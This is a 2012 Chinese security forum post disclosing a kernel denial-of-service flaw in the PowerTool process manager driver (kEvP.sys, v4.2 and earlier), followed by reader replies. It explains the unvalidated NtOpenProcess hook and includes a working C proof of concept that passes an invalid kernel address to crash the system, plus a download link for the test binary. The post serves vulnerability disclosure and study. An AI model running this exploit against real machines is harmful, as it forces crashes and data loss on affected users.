PowerTool kEvP.sys<=V4.2 内核拒绝服务漏洞
本帖最后由 hu3167343 于 2012-1-4 20:51 编辑感觉LSG区好冷清啊。。。
新年新气象,发个帖子水一下,哈哈。
百度百科:PowerTool 一款免费强大的进程管理器,支持进程强制结束,可以Unlock占用文件的进程,查看文件/文件夹被占用的情况,内核模块和驱动的查看和管理,进程模块的内存的dump等功能。最新版还支持上传文件在线扫描病毒。支持离线的启动项和服务的检测和删除,新增注册表和服务的强删功能,可在PE系统下清除感染MBR的病毒(如鬼影等),通过Windows7 SP1的测试。
其在加载的时候,为了让不让恶意软件结束自身,而SSDT Hook了NtOpenProcess函数。但是未对Ring3传过来的参数做任何校验就直接使用了,因此,触发漏洞。
示例函数:NtOpenProcess偏移:ED70
IDA汇编代码如下:
只要CID参数不为空,他就直接调用了PsLookupProcessByProcessId函数。
而PsLookupProcessByProcessId是内核函数,其自身不会对参数有任何校验:
测试代码:
/*
作者:莫灰灰
博客:http://hi.baidu.com/hu3167343/
描述:PowerTool内核拒绝服务漏洞测试程序
*/
#include "stdafx.h"
#include <windows.h>
int _tmain(int argc, _TCHAR* argv[])
{
HMODULE hMod = LoadLibrary(L"ntdll.dll");
if (hMod)
{
PVOID p = GetProcAddress(hMod, "ZwOpenProcess");
if (p)
{
printf("Your System Will Crash, See you nala.\n");
__asm{
push 0x80000000
push 0
push 0
push 0
call p
}
}
}
system("pause");
return 0;
}
Ps:在开启PowerTool自保护的情况下运行上面程序,系统会蓝屏重启。正常机器木有问题。
测试程序下载地址:http://dl.dbank.com/c0lx8mqzs7
沙发。。嘿嘿。。。。H大发的太深奥,不太看懂。。。。 膜拜大神....... 论坛高手如云啊 push 0x80000000
有什么用? 嘛东西? 膜拜大大.....
小白飘过 你随便发个帖子水一下就能弄的这么深奥, 你要认真点那还了得.. O_o 发表于 2012-1-5 10:05 static/image/common/back.gif
push 0x80000000
有什么用? 嘛东西?
一个无效的内核地址,读写它就会造成系统蓝屏重启。 膜拜一下大神,不知道PT牛看到了会啥样反应~~~~:lol hu3167343 发表于 2012-1-5 14:10 static/image/common/back.gif
一个无效的内核地址,读写它就会造成系统蓝屏重启。
索德斯勒